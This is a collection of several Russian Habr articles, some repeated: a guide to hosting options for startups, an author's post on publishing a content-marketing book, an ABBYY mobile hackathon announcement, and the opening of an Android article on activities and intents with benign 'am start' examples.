Какой хостинг выбрать? Этим вопросом рано или поздно задается любой стартап. Ответ в каждом случае придется искать самостоятельно — оценивать плюсы-минусы, прикидывать риски и считать бюджет. Максимально упростить этот процесс и систематизировать виды хостингов и их особенности нам помог выпускник ФРИИ и основатель проекта AdminDivision.ru Егор Андреев, который помогает стартапам Акселератора ФРИИ масштабировать свою IT-инфраструктуру.

Описание задачи всегда начинается одинаково: есть написанный код сайта, его нужно разместить на каком-то хостинге, чтобы клиенты получили доступ. Классический «дедовский» вариант — купить сервер, настроить его и разместить на нем сайт — плох уже тем, что за корректной работой «железа», операционной системы и софта придется следить самостоятельно. У основателей нового проекта на это нет ни времени, ни ресурсов. Поэтому стартапы активно пытаются использовать другие виды хостинга, чтобы сэкономить время и деньги, особенно на старте проекта. И здесь начинается самое интересное: поскольку все предложения разные, они отличаются по цене, объему услуг, степени ответственности хостинг-провайдера и другим параметрам. Как разобраться? Для начала принять общее правило: чем больше работ возьмет на себя провайдер, тем меньше головной боли достанется стартапу. Но нужно учитывать, что в дополнение стартап получает более высокий прайс и отсутствие возможности настраивать систему самостоятельно. Далее следуют нюансы, специфические для каждого вида хостинга.

1. Конструктор сайтов

Примеры: tilda, wix, lpgenerator.
Примерный чек: $10-$50 в месяц.



Это самый простой и заманчивый для стартапа вариант. Здесь поставщик услуги уже позаботился обо всем, вам даже не понадобится программист. Просто заходите, создаете свою страничку из шаблонов, нажимаете «сохранить» и все. Ваша страница видна миру — можно работать.

Такой формат идеален для посадочных страниц, сайтов-визиток, одностраничных сайтов с простейшей логикой (типа формы обратной связи или формы оплаты). Если ваш сайт должен быть многостраничным, иметь полноценную логику в виде каталога товаров и регистрации пользователей, а также другие дополнительные сервисы, то конструктор — не ваш оптимальный вариант. Лучше ищите другие виды хостинга.

2. Shared-хостинг

Еще его называют «Шаред» или просто «Хостинг».

Примеры: timeweb, masterhost, reg.ru.
Примерный чек: $2-$30 в месяц.



Самый дешевый вариант — разместить сайт на php. Shared-хостинг — это физически большой железный сервер, на котором созданы изолированные окружения для работы десятков и сотен клиентов хостинга. Вам выдается доступ к админке и логин/пароль для доступа к FTP. Вы выкладываете свой код — и он работает. При этом сотрудники хостинга (как правило, хмурые бородатые дяденьки) следят за тем, чтобы у вас не было проблем с «железом», операционной системой, базой данных, веб-сервером. Ваша зона ответственности — только код. Это значит, что вы не можете менять практически ничего в настройках сервера. Такой вариант отлично подойдет для сайтов на стандартных движках, блогов, небольших интернет-магазинов. Но есть два случая, при которых этот вид хостинга может принести проблемы.

1. Когда у сайта начинает расти показатель посещаемости. В этом случае либо все начинает «тормозить», либо хостер грозится перевести вас с тарифа за символические $2 на вполне ощутимые $50-100, а если не заплатите — отключить.

2. Когда вам нужен новый функционал. Например, поставить вот эту новую библиотеку обработки картинок или использовать вот ту хипстерскую базу данных. В варианте с shared-хостингом это сделать не получится. Вы пользуетесь тем, что для вас предусмотрели упомянутые выше бородатые дяденьки.

Если ваш сайт больше похож на «убийцу Убера», чем на «блог на Wordpress», есть две альтернативы: собирать свой сайт на облачных сервисах или смотреть в сторону полноценных виртуальных машин.

3. Облачные сервисы

Примеры: Amazon Web Services, Microsoft Azure, Google Cloud Platform.
Примерный чек: от $1 до бесконечности.



Здесь вы собираете свой веб-сервис из огромного набора кубиков и деталей, довольно приятных. Вот у нас веб-сервер, вот база данных, вот очередь сообщений, вот хранилище для фотографий котиков, вот machine learning по ним, вот push-оповещения на мобильные — и ваш новый уникальный вариант кошачьего Тиндера готов.

Если разобраться, как работают эти кубики, можно довольно быстро собирать рабочие продукты с минимумом программирования. Приятный бонус на старте: оплата обычно идет не по абонентке, а за фактически потребленное количество ресурсов. Например, по числу запросов к базе данных, объему файлов в хранилище, числу разосланных уведомлений и т.д. То есть оплата за хостинг начинается с нуля и растет пропорционально росту нагрузки. Это позволяет стартапу долгое время масштабировать свою IT-инфраструктуру, понемногу увеличивая сумму затрат на хостинг.

Минусы облачных сервисов гармонично вытекают из их плюсов.

1. Вы ограничены тем функционалом, который заложили разработчики сервисов. Конечно, довольно широкий функционал дает много возможностей, но (!) чуть-чуть поднастроить его под себя не получится. Работает правило: используем как есть или переписываем с нуля.

2. По мере роста потребления ресурсов стоимость облачного сервиса может стать неоправданно высокой. Да, этот вид хостинга позволяет начать с $10. Для прототипа продукта или запуска стартапа с первой парой клиентов — прекрасно. Но если проект взлетит, то появляется риск платить пропорционально $10 000 за пару тысяч своих клиентов. И здесь нужно хорошо просчитать экономику.

Но даже если затраты на хостинг были заранее рассчитаны, вам все равно может понадобиться съехать с облачных сервисов. Причины могут быть и локальные (технические ограничения), и общерыночные (изменения российского законодательства). Важно учитывать, что просто «взять и переехать» из «облака» не получится. Придется дорого и долго программировать. Это тоже вариант, и его нужно просчитать заранее, чтобы понимать стоимость риска.

Облачные сервисы отлично подойдут для быстрого создания прототипа, в качестве бэкенда мобильных приложений и других подобных сервисов. Проверять идеи для стартапа — тестировать гипотезы — с их помощью тоже очень удобно. Когда нужен чуть больший контроль над хостингом, можно использовать полноценные машины (виртуальные или физические).

4. Виртуальные машины

Они же VM (Virtual Machine), VPS (Virtual Private Server), VDS (Virtual Dedicated Server) или просто «Виртуалки».

Примеры: Digital Ocean, Selectel, Amazon EC2, Azure VM.
Примерный чек: $5-$100 в месяц.



У хостера стоят огромные железные сервера. Их ресурсы нарезаются на порции, которые выглядят как небольшие сервера со своей операционной системой, — именно это и сдается клиентам в аренду. Вы получаете машину с полным доступом и нужным количеством ресурсов (ядер процессора, оперативной памяти, места на дисках и т.д.).

Плюсы очевидны. Это полноценная машина, на которую можно устанавливать любой софт и настраивать его любым способом. Если с физическим сервером случится беда, хостер все починит сам, вы даже об этом, возможно, не узнаете. Кроме того, размер машины можно увеличивать по мере необходимости. Например, начать с варианта за $5, а потом взять нужный дополнительный объем, просто нажав кнопку «Расширить» и заплатив за него. А еще здесь можно запустить несколько машин и разделить между ними роли (веб-сервер — база данных) и нагрузку (веб-сервер 1, веб-сервер 2, веб-сервер 3).

Минусы тоже есть. Теперь настраивать под себя операционную систему и софт не только можно, но и необходимо. К тому же приходится следить за локальными процессами работы (хватает ли оперативной памяти, достаточно ли места на дисках, не упала ли база данных). И делать это нужно самостоятельно, постоянно и лучше профессионально.

Виртуальные машины подойдут большинству стартапов как на старте, так и во время бурного роста. Главное, чтобы в команде был хороший админ (или хотя бы была возможность привлечения такого специалиста). Всем стартапам стоит посоветовать сразу делить сайт на части и использовать несколько машин вместо одной большой. Это поможет расти в будущем. В момент, когда расходы на хостинг составят пару сотен долларов, можно будет задуматься о переходе на физические сервера. Именно задуматься, сесть и посчитать, прикинуть варианты, а не переезжать в «пожарном режиме», когда страдают клиенты и горят нервные клетки основателей.

5. Аренда выделенного сервера

Он же Dedicated Server, или просто «Дедик».

Примеры: Hetzner, Selectel, Servers.ru, Hostkey.
Примерный чек: $50-$500 в месяц.



Это аренда настоящего физического сервера. Можно выбрать любую конфигурацию «железа», любую операционную систему и получить мощнейшую машину. Либо поднять свою систему виртуализации и самостоятельно нарезать нужное число «виртуалок». Трюк в том, что аренда выделенного сервера обходится в среднем в 3-5 раз дешевле аренды «виртуалки» соответствующей мощности. Или, иными словами, за те же деньги можно получить в 3-5 раз больше ресурсов.

Но тут есть значительный минус — теперь под вашей ответственностью не только операционная система, но и само «железо». Если сгорит, скажем, один из жестких дисков, то хостер заменит его бесплатно по звонку. И если вы правильно настроили сервер и вовремя заметили, что диск сгорел, сайт даже не «упадет». Но если сгорит сам сервер целиком, ваш сайт не будет доступен, пока хостер не подготовит замену (это занимает от нескольких часов до нескольких дней). И есть вероятность, что сервис придется поднимать из резервной копии. Это тоже требует времени и может вообще не получиться, если вы к этому специально не готовились.

Чтобы избежать проблем, потребуется иметь хотя бы один дополнительный резервный сервер, а также иметь компетенции (сотрудника), как этот сервер заставить работать в случае краха основной машины. И то и другое стоит денег, и экономия при переходе на свое железо может быть уже не такой явной.

Арендованные физические сервера хорошо подойдут достаточно большим проектам с потреблением в несколько тысяч долларов.

6. Покупка собственного железа

Примерная цена: $2 000-$10 000 за сервер разово.



«Железо» можно не арендовать, а купить. Вполне рабочий вариант, если вам очень нужно освоить несколько миллионов, в смысле, превратить операционные (ежемесячные) расходы в капитальные (разовые). И вы точно уверены, что:

а) будете использовать купленное «железо» больше срока, за который оно «отобьется» по сравнению с арендой,
б) вам хватит мощности на весь расчетный срок.

Помимо разовых расходов, больше плюсов, по сравнению с арендой, нет.

А минусов хватает. Если на сервере что-то сгорит — это ваша проблема. В лучшем случае производитель сервера пришлет замену. Если мощности «железа» не будет хватать, то вы либо докупаете новые сервера (получив у себя зоопарк из нескольких поколений машин), либо продаете текущее «железо» на Avito и покупаете новое.

Также надо помнить, что каждые несколько лет сервера становятся мощнее в пару раз (закон Мура до сих пор работает), при этом цена остается сопоставимой. Если арендуете сервер несколько лет, то можете в один момент отказаться от текущего сервера и взять новый, за те же деньги, но заметно мощнее. Если сервер ваш — так сделать будет нельзя.

Резюме

• Если нужно сверстать лендинг или одностраничник, удобно будет воспользоваться конструктором сайтов. Проще некуда.
• Если сайт простой и написан на php, можно использовать shared-хостинг. Дешево и сердито.
• Для веб-сервиса с богатым функционалом можно пробовать либо Облачные сервисы (если вы любите и умеете ими пользоваться), либо Виртуальные машины.
• Если чек за хостинг высокий и хочется сэкономить, можно присмотреться к аренде физического сервера.
• Выбирая любой вариант, не забудьте посчитать, в какой момент станут критичны ограничения для конкретно вашего сервиса и прикинуть варианты, что с этим можно будет сделать.

Бурного роста и высокого аптайма!

Original source: habrahabr.ru (comments, light).

Когда от издательства пришло письмо про готовность, я старался не дышать. Кенгуру валлаби с детёнышем в сумке уже подошла на три метра и шевелила носом. Боялась и что-то подозревала, но морковки ей хотелось больше. Потом было ещё много австралийских приключений вдали от цивилизации, поэтому про поступление книги в магазины я узнал уже из писем читателей. Оказалось, нужно не только владельцам бизнеса. Это удивляло.

Если коротко – она о том, как рассказывать истории. Точнее даже так: как в работающем бизнесе (или другом проекте) выбрать самые интересные истории, правильно их подать, в полной мере собрать факты и не облажаться потом. Методология построена именно на «не облажаться потом», то есть на проверке фактов и очень спокойной работе без истерических криков. Это продаёт, и этот канал рассказов о своих проектах называется контент-маркетингом (термин появился позже, чем тот же Фёдор из Сыктывкара начал рассказывать про свой книжный бизнес, но раньше, чем он начал печь пиццу). Ещё Евгений Чичваркин с Евросетью живо чувствовал, что нужно что-то такое – но он хотел снимать шоу про работу магазина, чтобы с отжимом поставщиков, собеседованиями, злыми клиентами, инвентаризациями и другими взлётами и падениями.

Я собрал в кучу всё то, что хотел рассказать про то, как писать посты, собирать информацию для них, как убеждать на сайте и прочее-прочее-прочее. Но всё равно много где – психология влияния.

О чём книга

Первая здоровенная часть – о том, как и что рассказывать. Логика выстроения системы такая: если принять за аксиому желаемый результат (о вас знают как о позитивной компании далеко за пределами рынка), то дальше можно начать доказывать всё в обратную сторону – к тому что рассказывать и как рассказывать. И в этой системе доказательств произойдут достаточно неожиданные отсечки. Например, в ответе на комментарий не имеет смысла отвечать тому, кто задал вопрос (точнее, как – не имеет смысла его переубеждать, ответ предназначается для одного него и ещё 5-10 тысяч других людей). В письменной форме никогда не должно быть негатива – его только устно. Потому что можно не так понять, можно перечитать, можно вернуться через год, можно процитировать и т.п. Долгий анализ реакции на разные ответы в обсуждениях породил механики ответов неадекватам и конкурентам (частая задача на просторах Рунета) — там, где не помогает обычная логика, лёгкое изменение формы ответа резко меняет эффект. Помните, как в анекдоте про связистов, мол, вышку построили, теперь голова болит у всей деревни и тараканы мрут? Это ещё фигня, через неделю питание подадим. Плюс форма – почему надо коротко, понятно и предельно конкретно.

Вторая часть – уже про работу журналиста внутри компании. Я когда-то был редактором астраханской детской газеты, и ещё помню хардкор от опытных журналистов. Нас гоняли за поиск объективной информации и оценку разных точек зрения как не в себе. Мою хрупкую детскую психику раз и навсегда травмировал дядька Кара-Мурза, который читал лекцию про манипуляции сознанием (я передал его эстафету в одном детском робототехническом лагере с похожей лекцией, — вожатые ещё не в полной мере понимали, что при выборе тем «размножение человека» и «социальная инженерия» первое безопаснее). В общем, там практические наработки, что и как делать внутри компании.

Третья часть – для тех, кто вообще не умеет писать. Там короткие ликбезы. Часть вы могли видеть на Мегамозге (когда он ещё был жив).

В общем, я надеюсь, что получилась полезная штука для тех, кто не знает, что писать и о чём писать про своё дело. Ну и как это всё правильно начать и продолжить.

Как шло издание

У меня снова подло похитили букву «ё» со всей книги. Потом, правда, часть вернули, где по смыслу было не обойтись.

Корректор зачем-то расставил ударения в словах (но при этом пропустил минимум две опечатки). Меня это тоже немного расстраивает, потому что каждый раз, когда я вижу слово со знаком ударения, мне хочется прочитать его наоборот — мозг решает, что это нестандартная версия, и надо углубиться в распознавание. Вот пример в начале страницы:



Снова адские переносы, но я уже знаю, что книгу через несколько недель похитят пираты и всё поправят в fb2-формате. Я скачаю и успокоюсь. Вот пример — вроде это «ся» грамотное, но контринтуитивное. Возможно, конечно, я как-то не так читаю:



Сам рабочий процесс шёл куда быстрее. Когда уже понятно, что и как делать, всё очень просто. Долго бодались с названием. Я всегда смеялся, когда слышал «Евангелист Яндекса» (это Бобук, например), но тут пришлось перестать. Потому что, оказалось, что ничего более сжатого по смыслу нет. Итог вот такой:



Литредактор у МИФа прекрасный. Эта милая девушка набрасывалась на текст с яростью дракона, присылая кровавое месиво из правок. Ниже одна страница. Так вот, вся книга по всей длине была именно такой:



Я примерно так же работаю с новыми райтерами, вызывая у них леденящий душу набор впечатлений. Она чистила мой ужасный разговорный язык, а я отстаивал важные конструкции. В этот раз удалось сохранить русские написания многих англицизмов, ура.

Вот как-то так. Вот тут лежит оглавление и ещё пара страничек.

Теперь немного статистики. По первой книге «Бизнес как игра» статистика такая: 17 тысяч продано в бумаге, чуть меньше 3 тысяч раз книга куплена в электронном виде и примерно 30 тысяч раз она закачана пиратами, похоже, в основном через сервис Мейл.ру Вконтакте (оценки примерные, про пиратов так вообще пальцем к носу). Критерий успешности — 3 тысячи копий в год на бумаге. Критерий прямо-огонь-бестселлера — около 20 тысяч копий в год. Говорят, с книгами, не привязанными к конкретным историческим моментам типа «Эффективная работа в Windows 98» тиражи с годами обычно растут.

МИФ, кстати, оказывается, яростно борется с пиратами, и там можно писать целые приключенческие романы про это. Подозреваю, что их контрагент умеет раскладывать сайты-обманки, где в поиске предлагается скачать книгу бесплатно, а вместо файла — короткая демо на 33 страницы или просто реферальная ссылка на Озон или ещё куда. Но это не точно, что они. Надо было ещё что-то подписать про удаление с обменников, но я не стал. Сюрприз в том, что в обмен хотелось обновить файл на Флибусте (там опечатки). Мне кажется, только природная вежливость книжных людей спасла меня от фразы: «Флибуста? Ты что, в конец охренел?».

Следующий момент. Книга пришла в Озон ниже, чем рекомендованная розничная цена, то есть чем цена у нас, например. Или ещё где в книжном. Там вообще волшебная история — похоже, что они автоматически упали, когда повысилась доля поиска в категории: это отличная механика же. Издатель анонсирует, а весь эффект ловят именно они. У нас, правда, слово «Хабрахабр» при заказе даёт скидку, уравнивающую шансы.

Ну и ещё от хабралюдей было много вопросов, как показывать книгу издателю. Всё просто: примерное оглавление (потом можно будет менять) и 10-15 страниц (или одну-две главы, если они большие). Уже по этому редактор говорит, ок или нет, и если ок — ждёт финальный текст. Это сильно проще, чем написать цикл постов на Хабр — так что если у вас есть что-то вневременное без привязки к текущему ПО — возможно, стоит немного подготовиться и спросить.

Original source: habrahabr.ru (comments, light).

Когда от издательства пришло письмо про готовность, я старался не дышать. Кенгуру валлаби с детёнышем в сумке уже подошла на три метра и шевелила носом. Боялась и что-то подозревала, но морковки ей хотелось больше. Потом было ещё много австралийских приключений вдали от цивилизации, поэтому про поступление книги в магазины я узнал уже из писем читателей. Оказалось, нужно не только владельцам бизнеса. Это удивляло.

Если коротко – она о том, как рассказывать истории. Точнее даже так: как в работающем бизнесе (или другом проекте) выбрать самые интересные истории, правильно их подать, в полной мере собрать факты и не облажаться потом. Методология построена именно на «не облажаться потом», то есть на проверке фактов и очень спокойной работе без истерических криков. Это продаёт, и этот канал рассказов о своих проектах называется контент-маркетингом (термин появился позже, чем тот же Фёдор из Сыктывкара начал рассказывать про свой книжный бизнес, но раньше, чем он начал печь пиццу). Ещё Евгений Чичваркин с Евросетью живо чувствовал, что нужно что-то такое – но он хотел снимать шоу про работу магазина, чтобы с отжимом поставщиков, собеседованиями, злыми клиентами, инвентаризациями и другими взлётами и падениями.

Я собрал в кучу всё то, что хотел рассказать про то, как писать посты, собирать информацию для них, как убеждать на сайте и прочее-прочее-прочее. Но всё равно много где – психология влияния.

О чём книга

Первая здоровенная часть – о том, как и что рассказывать. Логика выстроения системы такая: если принять за аксиому желаемый результат (о вас знают как о позитивной компании далеко за пределами рынка), то дальше можно начать доказывать всё в обратную сторону – к тому что рассказывать и как рассказывать. И в этой системе доказательств произойдут достаточно неожиданные отсечки. Например, в ответе на комментарий не имеет смысла отвечать тому, кто задал вопрос (точнее, как – не имеет смысла его переубеждать, ответ предназначается для одного него и ещё 5-10 тысяч других людей). В письменной форме никогда не должно быть негатива – его только устно. Потому что можно не так понять, можно перечитать, можно вернуться через год, можно процитировать и т.п. Долгий анализ реакции на разные ответы в обсуждениях породил механики ответов неадекватам и конкурентам (частая задача на просторах Рунета) — там, где не помогает обычная логика, лёгкое изменение формы ответа резко меняет эффект. Помните, как в анекдоте про связистов, мол, вышку построили, теперь голова болит у всей деревни и тараканы мрут? Это ещё фигня, через неделю питание подадим. Плюс форма – почему надо коротко, понятно и предельно конкретно.

Вторая часть – уже про работу журналиста внутри компании. Я когда-то был редактором астраханской детской газеты, и ещё помню хардкор от опытных журналистов. Нас гоняли за поиск объективной информации и оценку разных точек зрения как не в себе. Мою хрупкую детскую психику раз и навсегда травмировал дядька Кара-Мурза, который читал лекцию про манипуляции сознанием (я передал его эстафету в одном детском робототехническом лагере с похожей лекцией, — вожатые ещё не в полной мере понимали, что при выборе тем «размножение человека» и «социальная инженерия» первое безопаснее). В общем, там практические наработки, что и как делать внутри компании.

Третья часть – для тех, кто вообще не умеет писать. Там короткие ликбезы. Часть вы могли видеть на Мегамозге (когда он ещё был жив).

В общем, я надеюсь, что получилась полезная штука для тех, кто не знает, что писать и о чём писать про своё дело. Ну и как это всё правильно начать и продолжить.

Как шло издание

У меня снова подло похитили букву «ё» со всей книги. Потом, правда, часть вернули, где по смыслу было не обойтись.

Корректор зачем-то расставил ударения в словах (но при этом пропустил минимум две опечатки). Меня это тоже немного расстраивает, потому что каждый раз, когда я вижу слово со знаком ударения, мне хочется прочитать его наоборот — мозг решает, что это нестандартная версия, и надо углубиться в распознавание. Вот пример в начале страницы:



Снова адские переносы, но я уже знаю, что книгу через несколько недель похитят пираты и всё поправят в fb2-формате. Я скачаю и успокоюсь. Вот пример — вроде это «ся» грамотное, но контринтуитивное. Возможно, конечно, я как-то не так читаю:



Сам рабочий процесс шёл куда быстрее. Когда уже понятно, что и как делать, всё очень просто. Долго бодались с названием. Я всегда смеялся, когда слышал «Евангелист Яндекса» (это Бобук, например), но тут пришлось перестать. Потому что, оказалось, что ничего более сжатого по смыслу нет. Итог вот такой:



Литредактор у МИФа прекрасный. Эта милая девушка набрасывалась на текст с яростью дракона, присылая кровавое месиво из правок. Ниже одна страница. Так вот, вся книга по всей длине была именно такой:



Я примерно так же работаю с новыми райтерами, вызывая у них леденящий душу набор впечатлений. Она чистила мой ужасный разговорный язык, а я отстаивал важные конструкции. В этот раз удалось сохранить русские написания многих англицизмов, ура.

Вот как-то так. Вот тут лежит оглавление и ещё пара страничек.

Теперь немного статистики. По первой книге «Бизнес как игра» статистика такая: 17 тысяч продано в бумаге, чуть меньше 3 тысяч раз книга куплена в электронном виде и примерно 30 тысяч раз она закачана пиратами, похоже, в основном через сервис Мейл.ру Вконтакте (оценки примерные, про пиратов так вообще пальцем к носу). Критерий успешности — 3 тысячи копий в год на бумаге. Критерий прямо-огонь-бестселлера — около 20 тысяч копий в год. Говорят, с книгами, не привязанными к конкретным историческим моментам типа «Эффективная работа в Windows 98» тиражи с годами обычно растут.

МИФ, кстати, оказывается, яростно борется с пиратами, и там можно писать целые приключенческие романы про это. Подозреваю, что их контрагент умеет раскладывать сайты-обманки, где в поиске предлагается скачать книгу бесплатно, а вместо файла — короткая демо на 33 страницы или просто реферальная ссылка на Озон или ещё куда. Но это не точно, что они. Надо было ещё что-то подписать про удаление с обменников, но я не стал. Сюрприз в том, что в обмен хотелось обновить файл на Флибусте (там опечатки). Мне кажется, только природная вежливость книжных людей спасла меня от фразы: «Флибуста? Ты что, в конец охренел?».

Следующий момент. Книга пришла в Озон ниже, чем рекомендованная розничная цена, то есть чем цена у нас, например. Или ещё где в книжном. Там вообще волшебная история — похоже, что они автоматически упали, когда повысилась доля поиска в категории: это отличная механика же. Издатель анонсирует, а весь эффект ловят именно они. У нас, правда, слово «Хабрахабр» при заказе даёт скидку, уравнивающую шансы.

Ну и ещё от хабралюдей было много вопросов, как показывать книгу издателю. Всё просто: примерное оглавление (потом можно будет менять) и 10-15 страниц (или одну-две главы, если они большие). Уже по этому редактор говорит, ок или нет, и если ок — ждёт финальный текст. Это сильно проще, чем написать цикл постов на Хабр — так что если у вас есть что-то вневременное без привязки к текущему ПО — возможно, стоит немного подготовиться и спросить.

Original source: habrahabr.ru (comments, light).

В прошлый раз мы анонсировали конкурс идей (и он, кстати, продолжается, вы всё ещё можете выиграть iPhone X), а теперь приглашаем вас на хакатон по мобильным сервисам от ABBYY. Пройдёт 7-8 октября в ФизТехПарке. Направления самые разные. Крутое жюри. Призовой фонд 220 000 рублей. Заявки принимаются до 3 октября включительно на mobility.abbyy.com/hack
А подробности ниже.

Хакатон mABBYYlity – это 24-часовой конкурс по разработке сервисов для мобильных платформ с применением технологий интеллектуальной обработки информации. Мы хотим дать возможность разработать уникальный продукт вместе с отличными разработчиками и менторами, шанс зарекомендовать себя перед представителями крупных IT-компаний и получить приятные подарки.

За 24 часа в команде из 2-5 человек или самостоятельно участникам mABBYYlity предстоит придумать или развить бизнес-идею и создать прототип приложения или сервиса для мобильных устройств в сфере обработки текста, изображений, документов и форм. Это могут быть решения в следующих областях:

• боты, сервисы в социальных сетях и мессенджерах;
• дополненная реальность в мобильных устройствах;
• обработка текстов, классификация документов, поиск;
• распознавание и обработка изображений и видео;
• улучшение, дополнение, фильтрация фотографий;
• распознавание и обработка изображений в браузере;
• распознавание в камерах различных устройств;
• цифровое предприятие, повышение продуктивности;
• технологии повышения безопасности;
• облачные технологии и сервисы;
• технологии обмена информацией.

ABBYY предоставит всем участникам доступ к собственным продуктам для разработчиков. Кроме того, команды смогут использовать любые общедоступные инструменты для разработки.
Лучшие мобильные продукты по итогам хакатона выберет экспертное жюри. В него вошли:

• директор по продуктам группы компаний ABBYY Андрей Исаев;
• руководитель департамента мобильных продуктов ABBYY Игорь Акимов;
• руководитель отдела образовательных проектов ABBYY Андрей Очеретный;
• руководитель проектного офиса ZeptoLab Пётр Савельев;
• CEO Maps.Me Евгений Лисовский;
• менеджер по работе с разработчиками Google Звиад Кардава;
• исполнительный директор по экосистеме цифровых ресурсов Сбербанка Анатолий Стояновский;
• руководитель команды машинного обучения Яндекс.Такси Виктор Кантор;
• руководитель направления развития мобильных сервисов Бинбанк Диджитал Анастасия Бельченко.

Эксперты оценят результаты команд по следующим критериям: рыночный потенциал идеи и актуальность решаемой проблемы, техническая реализация продукта и прогресс команды за время хакатона, соответствие идеи продукта направлению мероприятия, а также степень новизны и оригинальности идеи.

Узнать больше и подать заявку можно на сайте mobility.abbyy.com/hack.
Добавляйтесь в соцсети, там много интересного пишу про новые технологии в рамках направлений конкурса: Telegram, Facebook, VK

Ну и ещё раз напомню про конкурс идей. Он отдельный от хакатона и продлится до 30 сентября. Результаты конкурса будут объявлены на открытии хакатона mABBYYlity. Победители получат новейшие модели устройств на платформах iOS и Android, в том числе iPhone X. Подать заявку на конкурс идей можно на сайте mobility.abbyy.com/ideas.

Original source: habrahabr.ru (comments, light).

В прошлый раз мы анонсировали конкурс идей (и он, кстати, продолжается, вы всё ещё можете выиграть iPhone X), а теперь приглашаем вас на хакатон по мобильным сервисам от ABBYY. Пройдёт 7-8 октября в ФизТехПарке. Направления самые разные. Крутое жюри. Призовой фонд 220 000 рублей. Заявки принимаются до 3 октября включительно на mobility.abbyy.com/hack
А подробности ниже.

Хакатон mABBYYlity – это 24-часовой конкурс по разработке сервисов для мобильных платформ с применением технологий интеллектуальной обработки информации. Мы хотим дать возможность разработать уникальный продукт вместе с отличными разработчиками и менторами, шанс зарекомендовать себя перед представителями крупных IT-компаний и получить приятные подарки.

За 24 часа в команде из 2-5 человек или самостоятельно участникам mABBYYlity предстоит придумать или развить бизнес-идею и создать прототип приложения или сервиса для мобильных устройств в сфере обработки текста, изображений, документов и форм. Это могут быть решения в следующих областях:

• боты, сервисы в социальных сетях и мессенджерах;
• дополненная реальность в мобильных устройствах;
• обработка текстов, классификация документов, поиск;
• распознавание и обработка изображений и видео;
• улучшение, дополнение, фильтрация фотографий;
• распознавание и обработка изображений в браузере;
• распознавание в камерах различных устройств;
• цифровое предприятие, повышение продуктивности;
• технологии повышения безопасности;
• облачные технологии и сервисы;
• технологии обмена информацией.

ABBYY предоставит всем участникам доступ к собственным продуктам для разработчиков. Кроме того, команды смогут использовать любые общедоступные инструменты для разработки.
Лучшие мобильные продукты по итогам хакатона выберет экспертное жюри. В него вошли:

• директор по продуктам группы компаний ABBYY Андрей Исаев;
• руководитель департамента мобильных продуктов ABBYY Игорь Акимов;
• руководитель отдела образовательных проектов ABBYY Андрей Очеретный;
• руководитель проектного офиса ZeptoLab Пётр Савельев;
• CEO Maps.Me Евгений Лисовский;
• менеджер по работе с разработчиками Google Звиад Кардава;
• исполнительный директор по экосистеме цифровых ресурсов Сбербанка Анатолий Стояновский;
• руководитель команды машинного обучения Яндекс.Такси Виктор Кантор;
• руководитель направления развития мобильных сервисов Бинбанк Диджитал Анастасия Бельченко.

Эксперты оценят результаты команд по следующим критериям: рыночный потенциал идеи и актуальность решаемой проблемы, техническая реализация продукта и прогресс команды за время хакатона, соответствие идеи продукта направлению мероприятия, а также степень новизны и оригинальности идеи.

Узнать больше и подать заявку можно на сайте mobility.abbyy.com/hack.
Добавляйтесь в соцсети, там много интересного пишу про новые технологии в рамках направлений конкурса: Telegram, Facebook, VK

Ну и ещё раз напомню про конкурс идей. Он отдельный от хакатона и продлится до 30 сентября. Результаты конкурса будут объявлены на открытии хакатона mABBYYlity. Победители получат новейшие модели устройств на платформах iOS и Android, в том числе iPhone X. Подать заявку на конкурс идей можно на сайте mobility.abbyy.com/ideas.

Original source: habrahabr.ru (comments, light).

В этой статье я расскажу о компонентах, из которых состоят приложения под Android, и об идеях, которые стоят за этой архитектурой.

Статьи серии:

• Как работает Android, часть 1
• Как работает Android, часть 2
• Как работает Android, часть 3
• ...

Web vs desktop

Если задуматься об отличиях современных веб-приложений от «обычных» десктопных приложений, можно — среди недостатков — выделить несколько преимуществ веба:

• Веб-приложения переносимы между архитектурами и платформами, как и Java.
• Веб-приложения не требуют установки и всегда обновлены, как и Android Instant Apps.

Кроме того, веб-приложения существуют в виде страниц, которые могут ссылаться друг на друга — как в рамках одного сайта, так и между сайтами. При этом страница на одном сайте не обязана ограничиваться ссылкой только на главную страницу другого, она может ссылаться на конкретную страницу внутри другого сайта (это называется deep linking). Ссылаясь друг на друга, отдельные сайты объединяются в общую сеть, веб.

Несколько копий одной страницы — например, несколько профилей в социальной сети — могут быть одновременно открыты в нескольких вкладках браузера. Интерфейс браузера рассчитан на переключение между одновременными сессиями (вкладками), а не между отдельными сайтами — в рамках одной вкладки вы можете перемещаться по ссылкам (и вперёд-назад по истории) между разными страницами разных сайтов.

Всё это противопоставляется «десктопу», где каждое приложение работает отдельно и часто независимо от других — и в этом плане то, как устроены приложения в Android, гораздо ближе к вебу, чем к «традиционным» приложениям.

Activities & intents

Основной вид компонентов приложений под Android — это activity. Activity — это один «экран» приложения. Activity можно сравнить со страницей в вебе и с окном приложения в традиционном оконном интерфейсе.

Например, в приложении для электронной почты (email client) могут быть такие activity, как Inbox Activity (список входящих писем), Email Activity (чтение одного письма), Compose Activity (написание письма) и Settings Activity (настройки).

Как и страницы одного сайта, activity одного приложения могут запускаться как друг из друга, так и независимо друг от друга (другими приложениями). Если в вебе на другую страницу обращаются по URL (ссылке), то в Android activity запускаются через intent’ы.

Intent — это сообщение, которое указывает системе, что нужно «сделать» (например, открыть данный URL, написать письмо на данный адрес, позвонить на данный номер телефона или сделать фотографию).

Приложение может создать такой intent и передать его системе, а система решает, какая activity (или другой компонент) будет его выполнять (handle). Эта activity запускается системой (в существующем процессе приложения или в новом, если он ещё не запущен), ей передаётся этот intent, и она его выполняет.

Стандартный способ создавать intent’ы — через соответствующий класс в Android Framework. Для работы с activity и intent’ами из командной строки в Android есть команда am — обёртка над стандартным классом Activity Manager:

# передаём -a ACTION -d DATA
# открыть сайт
$ am start -a android.intent.action.VIEW -d http://example.com
# позвонить по телефону
$ am start -a android.intent.action.CALL -d tel:+7-916-271-05-83

Intent’ы могут быть явными (explicit) и неявными (implicit). Явный intent указывает идентификатор конкретного компонента, который нужно запустить — чаще всего это используется, чтобы запустить из одной activity другую внутри одного приложения (при этом intent может даже не содержать другой полезной информации).

Неявный intent обязательно должен указывать действие, которое нужно сделать. Каждая activity (и другие компоненты) указывают в манифесте приложения, какие intent’ы они готовы обрабатывать (например, ACTION_VIEW для ссылок с доменом https://example.com). Система выбирает подходящий компонент среди установленных и запускает его.

